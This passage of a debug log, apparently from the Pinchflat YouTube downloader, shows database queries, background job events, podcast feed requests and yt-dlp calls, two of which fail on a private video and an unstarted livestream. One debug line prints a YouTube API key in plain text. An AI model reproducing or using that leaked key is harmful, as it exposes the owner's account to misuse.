date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1544200] 17:39:42.676 [debug] QUERY OK source="media_metadata" db=17.7ms idle=4.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1544200] 17:39:42.677 [debug] QUERY OK source="media_profiles" db=0.0ms idle=20.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:39:42.677 [debug] QUERY OK source="settings" db=0.0ms idle=20.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:39:42.677 [debug] QUERY OK source="settings" db=0.0ms idle=19.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:39:42.677 [debug] Running yt-dlp command for action: get_downloadable_status 17:39:42.686 [debug] QUERY OK source="settings" db=0.0ms idle=28.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:39:42.686 [debug] QUERY OK source="settings" db=0.0ms idle=9.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:39:42.687 [debug] QUERY OK source="settings" db=0.0ms idle=9.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:39:42.687 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=w4ayGJi5e2s --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/10/83/10830a5875f47c57c265af06d21e2448e81be9c805da33f62e0717481e795d21.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:39:43.689 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=w4ayGJi5e2s --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/10/83/10830a5875f47c57c265af06d21e2448e81be9c805da33f62e0717481e795d21.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] w4ayGJi5e2s: Private video. Sign in if you've been granted access to this video. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 17:39:43.690 [error] yt-dlp download error for media item #1544200: "ERROR: [youtube] w4ayGJi5e2s: Private video. Sign in if you've been granted access to this video. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 17:39:43.690 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":1544200},"id":3766062,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1035350,"event":"job:exception","queue_time":6389,"attempt":19,"tags":["media_item","media_fetching","show_in_dashboard"]} 17:39:59.664 [info] {"source":"oban","duration":10293,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:40:00.091 [info] {"source":"oban","duration":204,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:40:29.681 [info] {"source":"oban","duration":16491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:40:48.723 [info] {"args":{"id":37},"id":3800232,"meta":{},"system_time":1770766848723673985,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:40:48.724 [debug] QUERY OK source="sources" db=0.8ms idle=1845.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [37] 17:40:48.724 [debug] QUERY OK source="settings" db=0.0ms idle=1007.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:48.725 [debug] QUERY OK source="media_profiles" db=0.7ms idle=846.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:40:48.725 [debug] QUERY OK source="settings" db=0.1ms idle=7.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:48.725 [debug] Fetching recent media IDs from YouTube API for playlist: UUcZqcdpiaDR3wbvS2Yu9xfw 17:40:48.725 [debug] QUERY OK source="settings" db=0.0ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:48.726 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:40:48.868 [debug] QUERY OK source="media_items" db=0.6ms idle=143.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [37, "ZempW3DeiHc", "K5YEoWYl75s", "EcPzDxji3SE", "hI90sPvV0C0", "o4Y-u-_8VsU", "VZLpFA3HIM8", "8MK5FLwpfqc", "n6awTDNkxvA", "hhm0nu3Ep5s", "nZyEptt3pdk", "scmdr8dVddQ", "Ri0KylA5D2c", "fIPdFsMu0HY", "j3s_4Mnl55Y", "BfHhAubdTSM", "Ts33nJu9pLo", "1MsM7pFS2og", "tUER2cEjTSU", "zl2h07mHIH0", "Pm8AeE5wRHg", "3K5jPjdV_BU", "tInJ45Gr6nE", "sNypPfHbnkw", "Qror46CYz_8", "cJt-0XogsL4", "QdpY9eQXXlc", "89w5_-zcexo", "sXrVvwFJpfo", "26Yd2Wma-HI", "VNAKa-7-1xQ", "4U5QrFcHibU", "qtILvKKg4Yo", "J1lEA9Tef44", "TCk8j-4etKk", "tARk9xBflxo", "Sn88ZdL1pnM", "V0skKmeOIiU", "czAdrqvhvBM", "Na2eWpXkGWo", "h4-WqlqeDjc", "Nig4e3UZ0Ak", "R79HCCLJkig", "iOAl0xuNyQ8", "U7W1KL0xHrw", "JXIH6G9b0Mw", "4VAoSHYbFe8", "rX66ykNnlLE", "tubBaYmpqQs", "bc6s9Nn73FI", ...] 17:40:48.869 [debug] QUERY OK source="settings" db=0.0ms idle=144.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:48.869 [debug] QUERY OK source="settings" db=0.0ms idle=143.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:48.869 [debug] Running yt-dlp command for action: get_media_attributes 17:40:48.880 [debug] QUERY OK source="settings" db=0.0ms idle=154.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:48.880 [debug] QUERY OK source="settings" db=0.0ms idle=154.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:48.880 [debug] QUERY OK source="settings" db=0.2ms idle=11.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:48.880 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=n6awTDNkxvA --simulate --skip-download --output /downloads/NinjaOne/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/34/6d/346d80be6f201453b4be9e9e3945d4d237946f4d99f60faf26d423bb641aa598.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:40:50.120 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=n6awTDNkxvA --simulate --skip-download --output /downloads/NinjaOne/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/34/6d/346d80be6f201453b4be9e9e3945d4d237946f4d99f60faf26d423bb641aa598.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] n6awTDNkxvA: This live event will begin in 16 hours. 17:40:50.120 [error] Error creating media item 'n6awTDNkxvA' from URL: {:error, "ERROR: [youtube] n6awTDNkxvA: This live event will begin in 16 hours.\n", 1} 17:40:50.121 [debug] QUERY OK source="media_items" db=0.9ms idle=1240.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [37] 17:40:50.122 [debug] QUERY OK source="tasks" db=0.0ms idle=244.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800271, 37, ~U[2026-02-10 23:40:50Z], ~U[2026-02-10 23:40:50Z]] 17:40:50.122 [info] {"args":{"id":37},"id":3800232,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":1399075,"event":"job:stop","queue_time":223575,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:40:59.692 [info] {"source":"oban","duration":10646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:41:00.092 [info] {"source":"oban","duration":239,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:41:29.703 [info] {"source":"oban","duration":10389,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:41:59.714 [info] {"source":"oban","duration":9995,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:42:00.093 [info] {"source":"oban","duration":166,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:42:02.349 [info] GET /sources/9780c114-461c-46c1-8ce2-ab0b457f4920/feed.xml 17:42:02.349 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "9780c114-461c-46c1-8ce2-ab0b457f4920"} Pipelines: [:maybe_basic_auth] 17:42:02.350 [debug] QUERY OK source="sources" db=0.1ms idle=1471.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["9780c114-461c-46c1-8ce2-ab0b457f4920"] 17:42:02.352 [debug] QUERY OK source="media_items" db=2.0ms idle=559.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [9, 2000] 17:42:02.361 [debug] QUERY OK source="source_metadata" db=0.0ms idle=483.4ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [9] 17:42:02.361 [debug] QUERY OK source="media_metadata" db=0.0ms idle=483.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564145] 17:42:02.362 [info] Sent 200 in 12ms 17:42:03.446 [info] GET /sources/16b58d74-5ec6-42de-be76-95f451d88dd3/feed.xml 17:42:03.446 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "16b58d74-5ec6-42de-be76-95f451d88dd3"} Pipelines: [:maybe_basic_auth] 17:42:03.446 [debug] QUERY OK source="sources" db=0.1ms idle=1096.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["16b58d74-5ec6-42de-be76-95f451d88dd3"] 17:42:03.454 [debug] QUERY OK source="media_items" db=7.3ms idle=1094.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [6, 2000] 17:42:03.484 [debug] QUERY OK source="source_metadata" db=0.0ms idle=1122.2ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [6] 17:42:03.484 [debug] QUERY OK source="media_metadata" db=0.1ms idle=1122.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1563742] 17:42:03.486 [info] Sent 200 in 39ms 17:42:03.896 [info] GET /sources/d22f5c77-f457-445b-98f3-40ec44dd3036/feed.xml 17:42:03.896 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "d22f5c77-f457-445b-98f3-40ec44dd3036"} Pipelines: [:maybe_basic_auth] 17:42:03.897 [debug] QUERY OK source="sources" db=0.1ms idle=450.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["d22f5c77-f457-445b-98f3-40ec44dd3036"] 17:42:03.898 [debug] QUERY OK source="media_items" db=1.1ms idle=442.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [28, 2000] 17:42:03.901 [debug] QUERY OK source="source_metadata" db=0.0ms idle=417.2ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [28] 17:42:03.901 [debug] QUERY OK source="media_metadata" db=0.0ms idle=417.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564183] 17:42:03.901 [info] Sent 200 in 5ms 17:42:06.845 [info] GET /sources/2373d096-97ad-46b0-b2be-43416605c93f/feed.xml 17:42:06.845 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "2373d096-97ad-46b0-b2be-43416605c93f"} Pipelines: [:maybe_basic_auth] 17:42:06.846 [debug] QUERY OK source="sources" db=0.2ms idle=967.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["2373d096-97ad-46b0-b2be-43416605c93f"] 17:42:06.846 [debug] QUERY OK source="media_items" db=0.5ms idle=967.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [26, 2000] 17:42:06.847 [debug] QUERY OK source="source_metadata" db=0.0ms idle=968.9ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [26] 17:42:06.847 [debug] QUERY OK source="media_metadata" db=0.0ms idle=969.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1563757] 17:42:06.847 [info] Sent 200 in 1ms 17:42:07.176 [info] GET /sources/4893f34e-338f-4b8b-a53c-d58258d7b402/feed.xml 17:42:07.176 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "4893f34e-338f-4b8b-a53c-d58258d7b402"} Pipelines: [:maybe_basic_auth] 17:42:07.176 [debug] QUERY OK source="sources" db=0.2ms idle=379.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["4893f34e-338f-4b8b-a53c-d58258d7b402"] 17:42:07.179 [debug] QUERY OK source="media_items" db=2.4ms idle=330.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [10, 2000] 17:42:07.180 [debug] QUERY OK source="source_metadata" db=0.0ms idle=333.1ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [10] 17:42:07.180 [debug] QUERY OK 